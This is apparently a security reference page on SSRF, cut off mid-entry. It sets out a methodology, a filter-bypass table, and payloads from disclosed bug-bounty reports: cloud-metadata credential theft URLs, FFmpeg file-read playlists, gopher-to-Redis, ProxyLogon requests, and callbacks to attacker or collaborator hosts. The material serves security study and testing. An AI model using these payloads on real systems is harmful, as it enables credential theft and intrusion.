⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Vulnerabilities/Server-Side Request Forgery (SSRF)
Vulnerabilities

Server-Side Request Forgery (SSRF)

§Basic information

Server-Side Request Forgery (SSRF) is making the server issue a request to a destination you choose. The server sits inside the trust boundary, so a "fetch this URL for me" feature becomes a proxy into places the internet can't reach: cloud metadata (169.254.169.254), internal admin panels, databases, link-local services, and the loopback interface. That is why SSRF is best treated as a cloud-credential-theft and internal-RCE primitive, not a "the server made a DNS lookup" curiosity.

The whole game is the sink and the filter. Somewhere the app takes a value you influence — a url= param, an imported field, a header, a document/image the server renders — and turns it into an outbound request. Your job is to (1) prove the server connects, then (2) redirect that connection to an internal target, defeating whatever allowlist, scheme check, or redirect policy stands in the way. Two flavours matter: full-read SSRF (the fetched response comes back to you — read metadata directly) and blind SSRF (no body — you get a DNS/HTTP callback, timing, or an error oracle, and must escalate through those).

§Methodology

  1. Enumerate the fetchers. For every URL/host param, "import from URL", link-preview/unfurl, webhook callback, avatar/image proxy, and document/media renderer, note where the server dereferences an address.
  2. Prove server-side egress. Point the sink at your collaborator and confirm the hit arrives from the server's IP/UA, not your browser.
  3. Classify full-read vs blind. Does the response body, an error, or the rendered image contain the fetched content? If not, fall back to DNS/timing/error oracles.
  4. Reach internal. Swap the collaborator for 127.0.0.1, [::1], the cloud metadata IP, and internal hostnames. Watch for differential responses/timing between open and closed ports.
  5. Beat the filter. If internal targets are blocked, work the Bypasses matrix — encodings, DNS rebinding, redirects, parser confusion, allowlist smuggling.
  6. Escalate to impact. Pull cloud credentials, port-scan the internal network, hit unauthenticated internal services, or pivot to a second, more permissive internal SSRF.
# Confirm the server (not your browser) connects, and note its egress IP url=https://COLLAB/ # watch the callback + source IP/UA # Internal reachability probes url=http://127.0.0.1:80/ http://localhost/ http://[::1]/ http://169.254.169.254/
● NOTE
A DNS-only callback with no TCP connect is still SSRF — but a "none"/low-severity one until you show internal reach or an oracle. Blind SSRF that can only hit your server is often triaged as informative; escalate to an internal port-scan oracle or metadata read before reporting.

§Technique variants

Find which kind of sink you have, then use the matching approach.

Cloud metadata (the money shot)

If the server runs in a cloud VM, the link-local metadata endpoint hands out IAM credentials to anything that can reach it. Read it first — it turns SSRF into cloud account access.

# AWS IMDSv1 — role name, then the temporary credentials http://169.254.169.254/latest/meta-data/iam/security-credentials/ http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE # GCP — the v1beta1 path needs NO Metadata-Flavor header; alt=json forces text http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json # Azure — requires a header http://169.254.169.254/metadata/instance?api-version=2021-02-01 # Header: Metadata: true

Import-from-URL / mass-assignment sinks

"Import project", "restore backup", and seed features deserialize attributes that may include a hidden download field. Any model with an uploader that exposes remote_<field>_url will fetch server-side.

# In an importable JSON blob (e.g. a project export), smuggle a download field "remote_attachment_url": "http://169.254.169.254/latest/meta-data/" "remote_attachment_request_header": {"Metadata-Flavor": "Google"} # set required headers too

Chat unfurlers, issue-tracker previews, and oEmbed endpoints fetch a URL to build a card. Even "blind" ones leak og:title and timing — a ready-made internal enumeration oracle.

GET /_matrix/media/r0/preview_url/?url=http://INTERNAL_HOST:PORT/ HTTP/1.1 Host: TARGET

Document & media renderers

HTML→PDF, screenshot/thumbnail services, and headless browsers render attacker-influenced HTML server-side. Any resource-loading tag becomes an SSRF fetch — and if a reflected value (even an error string) lands in the rendered HTML, that is your injection point.

<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe> <img src="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token">

For a headless browser renderer, ship JS that reads metadata and exfiltrates — the XHR runs from the server's network:

// Runs inside a server-side headless Chrome: navigation happens from the // server's egress; the screenshot/PDF captures the JSON the browser displays. location = "http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token";

Media transcoders (FFmpeg / HLS)

Server-side video/audio processing honours HLS .m3u8 playlist directives. A text playlist disguised as a video makes FFmpeg follow external references (SSRF) and file:// (local file read), pageable line-by-line with subfile:.

#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://COLLAB/header.m3u8|subfile,,start,1,end,10000,,:/etc/passwd #EXT-X-ENDLIST # header.m3u8 must end EXACTLY at the '?' byte (no trailing \r\n): # #EXTM3U / #EXT-X-MEDIA-SEQUENCE:0 / #EXTINF:, / http://COLLAB?

Non-HTTP sinks (gopher / TURN / SVG / XXE)

SSRF is not only HTTP. gopher:// crafts raw TCP to Redis/SMTP; misconfigured TURN relays proxy raw TCP/UDP into RFC1918; SVG <image xlink:href> and XXE SYSTEM reach the same internal targets.

gopher://127.0.0.1:6379/_<url-encoded RESP> # Redis: write cron/webshell gopher://127.0.0.1:25/_<url-encoded SMTP> # send internal mail # TURN relay: set XOR-PEER-ADDRESS to a private IP to proxy TCP (0x000A) / UDP (0x0006)

§Bypasses

Filters block obvious internal targets; you satisfy the check in a benign position, encode the IP, rebind DNS, or ride a redirect from an allowed host.

Filter / controlBypassSeen in
Blocks 127.0.0.1 / 169.254.169.254 literalsdecimal 2130706433, octal 0177.0.0.1, hex 0x7f.0.0.1, short 127.1, [::1], 127.0.0.1.nip.iogeneral
IP-based private/ban filterIPv4-mapped IPv6 [::ffff:169.254.169.254] / decimal-mapped forms#1785260, #2301565
Private-network guard misses link-locallink-local addresses slip the RFC1918 check → IMDS#3445890
GCP requires Metadata-Flavor headeruse the /v1beta1 path (no header) + alt=json for text capture#341876
Substring/contains() host allowlistput the allowed domain in a query param; real host is internal#398641
Hostname allowlist (validated once)DNS rebinding: resolve safe on validation, 169.254.169.254 on fetch#530974, #541169
Anti-rebinding IP pintrigger a resolution error so the pin is skipped (fail-open)#632101
No-redirect webhook policyreturn HTTP 303 (or 307/308) with Location: = metadata URL#508459
Hardcoded fetch destinationchain a whitelisted image-CDN open redirect (gravatar → wp.com)#878779
file:// blocked on the outer sinkchain to a second internal service that accepts file://#826097
URL parser confusionhttp://allowed@evil/, http://evil#allowed, backslash/userinfo tricks#643622, #727330
Required trailing extension (.js)move it after a # fragment: file:///etc/passwd#.js#1189367
▲ WARNING
Anti-SSRF validators are notorious for failing open. Test the error path (DNS resolution throws), the second resolution (TOCTOU between validate and fetch), IPv6-mapped forms, and every redirect status code — controls that block 301/302 routinely follow 303/307/308.

§Escalation & impact

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 181 in this class.

Real-world example

HTML/iframe injection into server-side PDF export -> AWS credentials

◆ Critical
Specimen #2262382 · security · 25000 · 516 votes · resolved
Program securitySurface webChain HTML injection -> server-side PDF render SSRF -> AWS ITag cloud-awsTag file-upload

Root cause

An unsanitized value (element[:template]) was echoed into an error string that became HTML fed to a server-side HTML->PDF renderer; an injected <iframe> pointing at the metadata service was fetched by the renderer.

Method

  1. Find a report/analytics export that generates a PDF from HTML server-side
  2. Inject an <iframe> (or other resource-loading tag) whose src is the internal metadata URL into a field reflected into the rendered HTML (here via a 'Missing template for element: <injected>' error)
  3. Render/download the PDF and read the embedded metadata response (AWS IAM temp credentials)
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe> <!-- injected into the 'template' element that the PDF renderer echoes into html_without_layout -->

Insight — HTML->PDF and other server-side document renderers are SSRF/local-file sinks. Any reflected value that lands in the rendered HTML (even an error message) becomes an injection point. Fix was to stop echoing element[:template] into the error string.

Real-world example

FFmpeg HLS playlist external reference -> arbitrary file read

◆ Critical
Specimen #487008 · flickr · awarded · 340 votes · resolved
Program flickrSurface webChain Malicious HLS upload -> FFmpeg external ref -> local f

Root cause

A video-upload pipeline processed user files with FFmpeg that allowed HLS (.m3u8) playlists to reference external/local files; the resulting preview leaks file contents (e.g. /etc/passwd) and can be pushed to SSRF.

Method

  1. Craft an HLS playlist that references file:///etc/passwd as a segment
  2. Upload it to the video/photo upload endpoint
  3. View the generated preview/camera roll - the file contents are embedded in the rendered video
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:1.0 concat:http://collab/header.ts|file:///etc/passwd #EXT-X-ENDLIST

Insight — Media-conversion endpoints running FFmpeg are file-read/SSRF sinks: HLS/AVI GAB2 playlists reference external resources. Upload a crafted playlist disguised as video; escalate the local-file-read to SSRF against cloud metadata (Ermishkin 'Viral Video' technique).

Real-world example

Open TURN relay proxies arbitrary TCP/UDP to internal network

◆ Critical
Specimen #333419 · slack · 3500 · 322 votes · resolved
Program slackSurface networkChain open TURN relay -> internal TCP/UDP -> metadata + 10.0Tag cloud-aws

Root cause

Slack's TURN (WebRTC relay) servers allowed CONNECT/SEND to private IPs, letting an attacker relay arbitrary TCP connections and UDP packets into the internal network and metadata service.

Method

  1. Authenticate to the TURN server as a normal WebRTC client
  2. Send a TURN Connect request (method 0x000A) with XOR-PEER-ADDRESS set to a private IPv4 to proxy TCP
  3. Send a TURN Send indication (method 0x0006) with XOR-PEER-ADDRESS set to a private IP to proxy UDP
  4. Interact with internal services / 169.254.169.254 through the relay
# TURN Connect (RFC6062) to internal TCP: method=0x000A XOR-PEER-ADDRESS=10.0.0.5:PORT # TURN Send indication (RFC5766) for UDP: method=0x0006 XOR-PEER-ADDRESS=169.254.169.254:PORT

Insight — SSRF is not only HTTP. Misconfigured TURN/relay/proxy servers give raw TCP+UDP into the internal network - stronger than HTTP SSRF. Always test TURN allocations against RFC1918 and metadata IPs by setting XOR-PEER-ADDRESS.

Real-world example

Full-read SSRF + LFI via base64-encoded path param with fragment trick

◆ Critical
Specimen #1189367 · evernote · awarded · 259 votes · resolved
Program evernoteSurface webChain base64 path SSRF -> file:// LFI + AWS metadata full readTag cloud-awsTag file-upload

Root cause

An endpoint (/ro/<base64>/<n>.js) base64-decoded a path and fetched its content, accepting full URLs and file:// URIs; the trailing .js requirement was neutralized with a # fragment.

Method

  1. Base64-encode a target URL/URI, ending the meaningful part with # so the required .js suffix is treated as a fragment
  2. Request https://www.evernote.com/ro/<base64>/-1430533899.js
  3. Read the reflected response: internal HTTP (metadata) or local files
# file:///etc/passwd#.js https://www.evernote.com/ro/ZmlsZTovLy9ldGMvcGFzc3dkIy5qcw==/-1430533899.js # http://169.254.169.254/#.js https://www.evernote.com/ro/aHR0cDovLzE2OS4yNTQuMTY5LjI1NC8jLmpz/-1430533899.js

Insight — When a fetch param is base64/encoded, decode it and try file:// and internal IPs. Suffix/extension checks (must end in .js) are defeated by moving the required text after a # fragment so the URL parser ignores it.

Real-world example

Full-read SSRF via bundled Grafana avatar: URL-decode param smuggling + open-redirect chain

◆ Critical
Specimen #878779 · gitlab · awarded · 228 votes · resolved
Program gitlabSurface webChain avatar SSRF -> gravatar redirect -> wp.com open redireTag cloud-aws

Root cause

Grafana's /avatar/:hash proxied hash (URL-decoded) to secure.gravatar.com; decoding let an attacker smuggle a d= query param, and gravatar->i0.wp.com had an open redirect (i0.wp.com/{domain}/{path} with *.bp.blogspot.com special-casing) chainable to any host.

Method

  1. Double-URL-encode a d= param into the avatar hash so it is smuggled into the gravatar request
  2. Use gravatar d= to redirect to i0.wp.com
  3. Abuse i0.wp.com/{yourhost}/1.bp.blogspot.com/ open redirect (via your own redirector) to reach arbitrary internal hosts
  4. curl the avatar endpoint and read the internal response
curl "https://dev.gitlab.org/-/grafana/avatar/test%3fd%3dredirect.rhynorater.com%252f1.bp.blogspot.com%252fpoc.rhynorater.com%26cachebust" # secure.gravatar.com/avatar/x?d=/HOST/1.bp.blogspot.com/ -> i0.wp.com/HOST/1.bp.blogspot.com/ -> https://HOST/

Insight — Bundled internal tooling (Grafana) reachable at /-/grafana/ inherits its SSRF bugs. URL-decoding of a path segment enables query-param smuggling; whitelisted image CDNs (gravatar/wp.com) often chain into open redirects that turn a fixed-destination fetch into full SSRF.

Real-world example

Unauthenticated SSRF via game-export players parameter (source-driven)

◆ Critical
Specimen #3165242 · lichess · none · 113 votes · resolved
Program lichessSurface apiChain unauth players-param SSRF -> cloud metadata / internal seTag cloud-aws

Root cause

The game export API read the players query parameter and passed it unvalidated to RealPlayerApi.apply -> ws.url(url).get(), fetching any URL with no auth.

Method

  1. Read source: get("players") -> config.playerFile -> realPlayerApi.apply -> ws.url(url).get()
  2. Request /game/export/<id>?players=<URL> (also /api/games/export/_ids and /api/games/user/<user>)
  3. Confirm server-side fetch via webhook.site / server logs; point at 169.254.169.254
GET /game/export/GAMEID?players=http://169.254.169.254/latest/meta-data/

Insight — Open-source targets: grep for HTTP-client sinks (ws.url, HttpClient, requests.get) fed by request params. A 'players'/'file'/'source' param reaching a fetch with no allowlist is unauth SSRF. Public endpoints make it worse (IP-restriction bypass).

Real-world example

SSRF/local-file read via LibreOffice Office-file thumbnail generation

◆ Critical
Specimen #671935 · slack · USD 4000 · 107 votes · resolved
Program slackSurface cloudChain malicious upload -> LibreOffice thumbnailer LFI/SSRF ->Tag cloud-awsTag file-upload

Root cause

Server-side file preview/thumbnailing pipes uploaded Office files through LibreOffice/unoconv, which processes embedded external/linked references; a crafted document forces local file access and outbound requests from the processing container, exposing its internal AWS credentials (CVE-2019-17400).

Method

  1. Identify an upload feature that server-side generates previews/thumbnails of documents
  2. Upload a crafted Office file whose contents reference local files / attacker URLs
  3. Have the rendered thumbnail/preview return leaked local file content or hit your collaborator, exfiltrating container cloud metadata/creds
# crafted ODT/DOCX abusing LibreOffice external references (CVE-2019-17400) # goal: read local files / reach 169.254.169.254 from the render container

Insight — Server-side document/image conversion (LibreOffice, ImageMagick, ffmpeg, headless Chrome) is a rich SSRF/LFI surface. Anytime uploads get thumbnailed/previewed, test file formats that embed external references, then pivot to cloud metadata for container creds.

Real-world example

SSRF/IP-ban bypass via IPv4-mapped IPv6 addresses

◆ Critical
Specimen #1785260 · cloudflare · $7500 · 77 votes · resolved
Program cloudflareSurface webChain IPv4-mapped IPv6 -> passes IP ban check -> connect to

Root cause

The SSRF/IP allow-deny check evaluated IPv4 and IPv6 forms inconsistently (a Go library normalizes ::ffff:127.0.0.1 to the v4 loopback only later), so supplying an IPv4-mapped IPv6 address slipped past the banned-range check while still connecting to loopback/internal hosts.

Method

  1. Point the fetch target (proxied AAAA record) at an IPv4-mapped IPv6 address of an internal host
  2. The filter checks the literal v6 form and doesn't match its banned v4 ranges
  3. The connection still resolves to the mapped v4 loopback/internal IP -> reach internal services
# instead of 127.0.0.1 / 10.0.0.1 (blocked), use their IPv4-mapped IPv6 forms: ::ffff:127.0.0.1 ::ffff:10.0.0.1 # also try: [::ffff:7f00:1], 0:0:0:0:0:ffff:127.0.0.1, and decimal/hex IP encodings

Insight — SSRF filters that blocklist IPv4 private ranges frequently miss the equivalent IPv4-mapped IPv6 (::ffff:a.b.c.d) and other encodings, because parsing/normalization happens after the check. Always retry blocked internal targets in v6-mapped, hex, decimal, and 0-prefixed forms.

Real-world example

Exchange autodiscover SSRF (ProxyNotShell CVE-2022-41040) n-day

◆ Critical
Specimen #1719719 · acronis · 1000 · 71 votes · resolved
Program acronisSurface webChain autodiscover.json SSRF (CVE-2022-41040)

Root cause

An externally exposed Microsoft Exchange server was vulnerable to CVE-2022-41040, an authenticated/path-confusion SSRF via the autodiscover.json endpoint (the ProxyNotShell SSRF half).

Method

  1. Identify an Exchange/OWA host (mail.<target>)
  2. Send the autodiscover.json path-confusion request and check the response reflects an outbound URL
  3. Confirm SSRF via the returned Protocol/Url JSON
curl -ksL -m5 "https://mail.TARGET.com/autodiscover/autodiscover.json?Email=autodiscover/autodiscover.json@outlook.com&Protocol=ActiveSync" | grep Protocol # vuln -> {"Protocol":"ActiveSync","Url":"https://eas.outlook.com/Microsoft-Server-ActiveSync"}

Insight — Recon for known product SSRF n-days pays off: Exchange autodiscover.json (CVE-2022-41040/ProxyNotShell), Confluence, GitLab, etc. Fingerprint the product, then fire the public PoC one-liner. Reflected outbound URL in JSON confirms SSRF.

Real-world example

XSS in headless-Chrome bot -> Chrome remote-debug SSRF/port-scan

◆ Critical
Specimen #780036 · h1-ctf · none · 56 votes · resolved
Program h1-ctfSurface webChain email-padding account takeover -> stored XSS -> CSP by

Root cause

A support/review feature is rendered by a server-side headless Chrome bot; stored XSS (after CSP bypass) executes in that bot's context, and the bot's network position plus Chrome DevTools remote-debug enable SSRF, internal port scanning and local page/file reads.

Method

  1. Get JS to execute inside a server-side headless browser (stored XSS in a page the bot visits)
  2. Bypass CSP by abusing an allowlisted CDN path with path traversal
  3. From the bot, reach internal services / Chrome remote-debug to exfiltrate data
<script src="https://raw.githack.com/mattboldt/typed.js/master/lib/..%252f..%252f..%252f..%252fATTACKER/repo/master/c.js"></script>

Insight — Any feature reviewed/rendered by a server-side headless browser is an SSRF surface: XSS there runs inside the perimeter; look for open Chrome debug ports and internal endpoints. A CSP allowlist on a CDN root is bypassable via path traversal.

Real-world example

Full-read SSRF via url param -> AWS IMDS credential theft

◆ Critical
Specimen #1624140 · deptofdefense · USD 1000 · 54 votes · resolved
Program deptofdefenseSurface apiChain SSRF -> IMDS -> AWS IAM temporary credentialsTag cloud-aws

Root cause

A download/proxy endpoint fetches an arbitrary user-supplied url and returns the body; pointing it at 169.254.169.254 returns EC2 IMDS data including IAM security-credentials.

Method

  1. Find a ?url=/download-url= style fetch-and-return endpoint
  2. Set url=http://169.254.169.254/latest/meta-data/
  3. Walk to /iam/security-credentials/<role> to read temporary AWS keys
https://TARGET/api/v1/download-url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ https://TARGET/api/v1/download-url?url=http://169.254.169.254/2021-07-15/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Insight — Any full-read url-fetch param on AWS should be tested against IMDSv1 (169.254.169.254); escalate to IAM creds then AWS API access. Also try the IMDSv2 token dance and the identity-credentials path.

Real-world example

JS injection into headless PDF renderer -> IMDS credential theft

◆ Critical
Specimen #1628209 · deptofdefense · USD 4000 · 45 votes · resolved
Program deptofdefenseSurface webChain stored HTML/JS injection -> headless renderer -> iframTag cloud-aws

Root cause

A PDF is generated server-side from HTML by a browser engine; an unsanitized field (globalInfo.name) breaks out of a <script> context so injected JS executes in the renderer, which then loads an <iframe> to 169.254.169.254 and embeds IMDS credentials into the resulting PDF.

Method

  1. Find a server-side HTML->PDF generation flow that reflects user input
  2. Inject </script><script>...</script> into a saved field via the save API
  3. Point injected JS/iframe at IMDS; read the credentials from the rendered PDF
</script><script>document.write('<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE" width=1000 height=1000></iframe>')</script>

Insight — Server-side HTML/PDF renderers execute injected JS inside the perimeter - treat HTML->PDF as an SSRF+XSS sink and aim injected content at IMDS/internal endpoints, reading results from the PDF.

Real-world example

Open URL-proxy endpoint -> AWS ECS IMDS IAM credential theft

◆ Critical
Specimen #978823 · lab45 · none · 30 votes · resolved
Program lab45Surface apiChain open proxy SSRF -> IMDS -> temporary IAM credentials -Tag cloud-aws

Root cause

A proxy-post endpoint takes a fully attacker-controlled url= parameter and returns the response body, letting an unauthenticated request reach the EC2/ECS metadata service and read IAM security credentials.

Method

  1. Find a *?url= proxy/preview endpoint that echoes the response
  2. Point url at http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> (ECS: ecsInstanceRole path)
  3. Read AccessKeyId/SecretAccessKey/Token from the reflected JSON
GET /community-app-assets/api/proxy-post?url=http%3A%2F%2F169.254.169.254%2F/latest/meta-data/iam/security-credentials/ecsInstanceRole HTTP/1.1 Host: cognitive.topcoder.com Authorization: ApiKey <key>

Insight — Any endpoint whose name contains proxy/fetch/preview/image and takes a url= is a first-class IMDS target. IMDSv1 (no token) leaks live STS creds; always test the iam/security-credentials/ path and try the ECS task-role variant, not just EC2.

Real-world example

Atlassian Confluence/Jira SSRF (CVE-2017-9506) to internal network

◆ Critical
Specimen #330860 · deptofdefense · none · 29 votes · resolved
Program deptofdefenseSurface webChain SSRF -> internal service access / XSPA port scan across fTag cloud-aws

Root cause

The OAuth plugin shipped in outdated Atlassian products exposes an image-proxy endpoint that fetches an attacker-supplied URL, giving full SSRF into internal services and cloud metadata (CVE-2017-9506).

Method

  1. Identify an outdated Atlassian (Confluence/Jira) instance in scope
  2. Hit the vulnerable OAuth image-proxy endpoint with an internal/collaborator URL
  3. Use response timing/content to port-scan (XSPA) and reach internal hosts/services
GET /plugins/servlet/oauth/users-icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/ HTTP/1.1 Host: TARGET

Insight — Atlassian, JIRA and similar enterprise apps ship URL-fetch/image-proxy endpoints that are classic SSRF sinks; version-fingerprint them and test the known OAuth/proxy path before anything custom.

Real-world example

SSRF to AWS metadata via image-fetch/proxy parameter

◆ Critical
Specimen #395521 · duckduckgo · none · 24 votes · resolved
Program duckduckgoSurface webChain SSRF -> AWS IMDSv1 metadata -> potential IAM credentiaTag cloud-aws

Root cause

An image-proxy endpoint fetches a user-supplied URL server-side without allowlisting, letting the attacker point it at the cloud metadata service.

Method

  1. Find an image/URL-preview/proxy param (here image_host)
  2. Set it to http://169.254.169.254/latest/meta-data/
  3. Read the reflected metadata (extend to iam/security-credentials for keys)
curl "https://proxy.duckduckgo.com/iur/?f=1&image_host=http://169.254.169.254/latest/meta-data/"

Insight — Any server-side URL-fetch param (image_host, url, avatar, webhook, preview) is a first-class SSRF sink. Always escalate a confirmed SSRF to 169.254.169.254/latest/meta-data/iam/security-credentials/ for IAM creds.

Real-world example

SSRF to AWS metadata via Atlassian OAuth IconUriServlet (CVE-2017-9506)

◆ Critical
Specimen #326040 · deptofdefense · none · 23 votes · resolved
Program deptofdefenseSurface webChain SSRF -> AWS IMDS metadata -> internal network access /Tag cloud-aws

Root cause

The Atlassian OAuth plugin IconUriServlet fetches an attacker-supplied consumerUri server-side with no allowlist, enabling SSRF including reads of the cloud metadata endpoint.

Method

  1. Locate the vulnerable servlet path on a Jira/Confluence host
  2. Supply an internal URL as consumerUri
  3. Read the reflected internal/metadata response
https://TARGET/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/hostname https://TARGET/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/public-ipv4

Insight — Fingerprint Atlassian versions and probe /plugins/servlet/oauth/users/icon-uri?consumerUri= for classic SSRF; pivot to 169.254.169.254 IMDS, internal port scanning (XSPA via response timing), and internal service access.

Real-world example

Headless-Chrome remote-debugging SSRF via PDF converter -> DevTools tab dump

◆ Critical
Specimen #781295 · h1-ctf · none · 12 votes · resolved
Program h1-ctfSurface webChain QR-recovery ATO -> CSP-bypass stored XSS -> IDOR name Tag account-takeover

Root cause

A PDF converter renders attacker HTML in headless Chrome with the remote-debugging port open; XSS in the rendered doc fetches the DevTools JSON endpoint, enumerating and reading other open tabs.

Method

  1. Get stored XSS/HTML into the PDF-converter input (via IDOR-controlled name field)
  2. Bypass CSP by loading JS from an allowed CDN with path backtracking (raw.githack)
  3. From the XSS, fetch http://localhost:9222/json to list tabs, then read their content
<script src="https://raw.githack.com/mattboldt/typed.js/master/lib/typed.js/..%252f..%252f..%252f..%252f..%252fATTACKER/repo/master/final.js"></script> // final.js then hits the Chrome DevTools endpoint: fetch('http://localhost:9222/json').then(...) // enumerate & read other tabs

Insight — If a service converts HTML->PDF/PNG with headless Chrome, probe for an exposed --remote-debugging-port (9222); XSS in the rendered page can drive the DevTools protocol to steal other users' rendered documents. CSP whitelisting a CDN that serves arbitrary repo files (raw.githack/jsdelivr) is bypassable with path traversal.

Real-world example

Path traversal into whitelisted /redirect?url= endpoint -> SSRF

◆ Critical
Specimen #893305 · h1-ctf · none · 11 votes · resolved
Program h1-ctfSurface apiChain 2FA bypass -> traversal-to-/redirect SSRF -> internal

Root cause

A server-side API builds an outbound URL from a user-controlled path segment (account_id) without normalization; path traversal (../../redirect?url=) escapes to an internal /redirect endpoint whose open-redirect then drives SSRF to internal services.

Method

  1. Control a value (account_id in the session cookie) used to build an internal API path
  2. Traverse to the redirect endpoint: ../../redirect?url=https://internal
  3. Server follows the redirect and returns the internal page; CSS/url fetch fields yield further SSRF
{"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/#","hash":"..."} # server builds: https://api.host/api/accounts/../../redirect?url=https://software... -> SSRF

Insight — When a backend concatenates user input into an outbound URL path, path traversal can pivot to sibling endpoints (open-redirect, proxy) and chain into SSRF; also treat CSS/font/image url() inputs as SSRF sinks.

Real-world example

Stored XSS -> SSRF via headless Chrome remote-debug port (9222/json)

◆ Critical
Specimen #781281 · h1-ctf · none · 10 votes · resolved
Program h1-ctfSurface webChain ATO -> stored XSS on support portal -> SSRF (headless Tag account-takeover

Root cause

An admin/support page rendered by a headless Chrome instance executes attacker-stored HTML; injecting an iframe to the local Chrome DevTools debugging endpoint (127.0.0.1:9222/json) turns the XSS into SSRF against internal resources.

Method

  1. Get stored HTML/script into a page an internal headless-Chrome agent renders
  2. Detect headless Chrome from the User-Agent
  3. Inject <iframe src='http://localhost:9222/json'> to read the DevTools targets/exposed local endpoints
name=<iframe src='http://localhost:9222/json' width=900 height=900></iframe>

Insight — When server-side rendering uses headless Chrome/Puppeteer, port 9222 (remote debugging) is a high-value SSRF target reachable from injected client HTML -- /json lists targets and can expose internal pages. Whenever a bot/agent UA is headless Chrome, probe localhost:9222. (CTF-sourced but a real, widely-applicable primitive.)

Real-world example

ProxyLogon Exchange pre-auth SSRF (CVE-2021-26855)

◆ Critical
Specimen #1119224 · deptofdefense · none · 8 votes · resolved
Program deptofdefenseSurface webChain CVE-2021-26855 SSRF -> ProxyLogon chain -> webshell/RCTag cloud-azure

Root cause

Microsoft Exchange OWA/ECP mis-handles the X-BEResource / X-AnonResource-Backend cookies, letting an unauthenticated attacker make the front end proxy arbitrary requests to internal backends (and beyond).

Method

  1. Send an unauthenticated GET to a static OWA resource (/owa/auth/x.js)
  2. Set X-AnonResource=true and X-AnonResource-Backend / X-BEResource cookies to the internal target
  3. Server proxies the request to that backend and returns the response
curl -i -s -k -X GET \ -b 'X-AnonResource=true; X-AnonResource-Backend=burpcollaborator.net/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3' \ 'https://TARGET/owa/auth/x.js'

Insight — Fingerprint Exchange OWA/ECP and test the X-BEResource cookie pre-auth. This SSRF is the entry point of the ProxyLogon chain (CVE-2021-26855 -> -26857/-26858/-27065) that reaches RCE. Version-fingerprint the Exchange build to gauge exploitability.

Real-world example

Open redirect + path traversal in signed ID -> SSRF to IP-restricted host

◆ Critical
Specimen #895780 · h1-ctf · none · 7 votes · resolved
Program h1-ctfSurface webChain Cookie path traversal -> in-app open redirect -> serveTag cloud-aws

Root cause

A server-side API builds an outbound URL from an account_id embedded in a cookie; path traversal in that id reaches the API's own /redirect open-redirect endpoint, and the redirect is followed server-side to a domain that only trusts the API server's IP.

Method

  1. Notice the API constructs requests like /api/accounts/{account_id}/statements from a base64 cookie
  2. Put path traversal in account_id to escape to /redirect?url=
  3. Point url= at the IP-restricted internal host; append &disregard= to swallow the app's fixed '/statements...' suffix
  4. Use the same trick with FUZZ to directory-brute the internal host and fetch files
cookie = base64({"account_id":"../../redirect?url=https://software.internal/&disregard=","hash":"..."}) # effective: /api/accounts/../../redirect?url=https://software.internal/&disregard=/statements?month=01&year=2020

Insight — Chain an open redirect into an SSRF: if a server follows redirects while building a request from user data, traversal to an in-app /redirect?url= lets you reach hosts allowlisted only by the server's IP. Use a trailing '&disregard='/'#' to neutralize appended path/query the app tacks on. (CTF-sourced but a clean, transferable chain.)

Real-world example

CTF chain: exposed .git logger → self-signed 2FA bypass → SSRF via path-traversal in signed cookie + open redirect

◆ Critical
Specimen #894623 · h1-ctf · none · 6 votes · resolved
Program h1-ctfSurface webChain info-disclosure (.git/log) -> credential recovery -> 2Tag account-takeover

Root cause

Multiple independent flaws chained: a /cgit/config exposed a public GitHub repo revealing a request logger that wrote base64 creds to a fetchable log; 2FA validated a client-supplied challenge hash against a client-supplied answer; and a base64 'signed' session cookie's account_id was concatenated into an internal API URL, so path-traversal + an app open-redirect turned it into a full SSRF.

Method

  1. Content-discovery finds /cgit and /.git; /cgit/config leaks a public GitHub repo (request-logger) whose logger.php base64-encodes request params into a fetchable bp_web_trace.log
  2. Decode the log to recover username/password and a challenge_answer sample
  3. Bypass 2FA by sending your own md5 challenge + its plaintext answer in the same request (server trusts the client-supplied pair): challenge=md5('1'), challenge_answer=1
  4. Decode the token cookie {"account_id":"...","hash":"..."}; the account_id is reflected into an internal URL https://api../api/accounts/<account_id>/statements
  5. Set account_id to a path-traversal that pivots through the app's own open redirect to reach an internal-only host, turning the server-side fetch into SSRF
# 2FA bypass (client supplies both challenge hash and its answer): POST / HTTP/1.1 Host: app.bountypay.h1ctf.com Content-Type: application/x-www-form-urlencoded username=brian.oliver&password=V7h0inzX&challenge=c4ca4238a0b923820dcc509a6f75849b&challenge_answer=1 # SSRF via path-traversal in the base64 token cookie's account_id, chained through the app's open redirect: # plaintext cookie: {"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/uploads/&","hash":"de235bffd23df6995ad4e0930baac1a2"} # -> server builds: https://api.bountypay.h1ctf.com/api/accounts/../../redirect?url=https://<internal-host>/uploads/&/statements

Insight — When a server reflects a user-controlled identifier into a server-side URL, try path-traversal in that identifier to escape the intended path, and chain a same-site open redirect to reach internal hosts (SSRF). Also: any 2FA/challenge where the client sends BOTH the challenge and its answer is trivially bypassable — supply your own hash/answer pair.

Real-world example

DotNetNuke (DNN) ImageHandler SSRF via url param (CVE-2017-0929)

◆ Critical
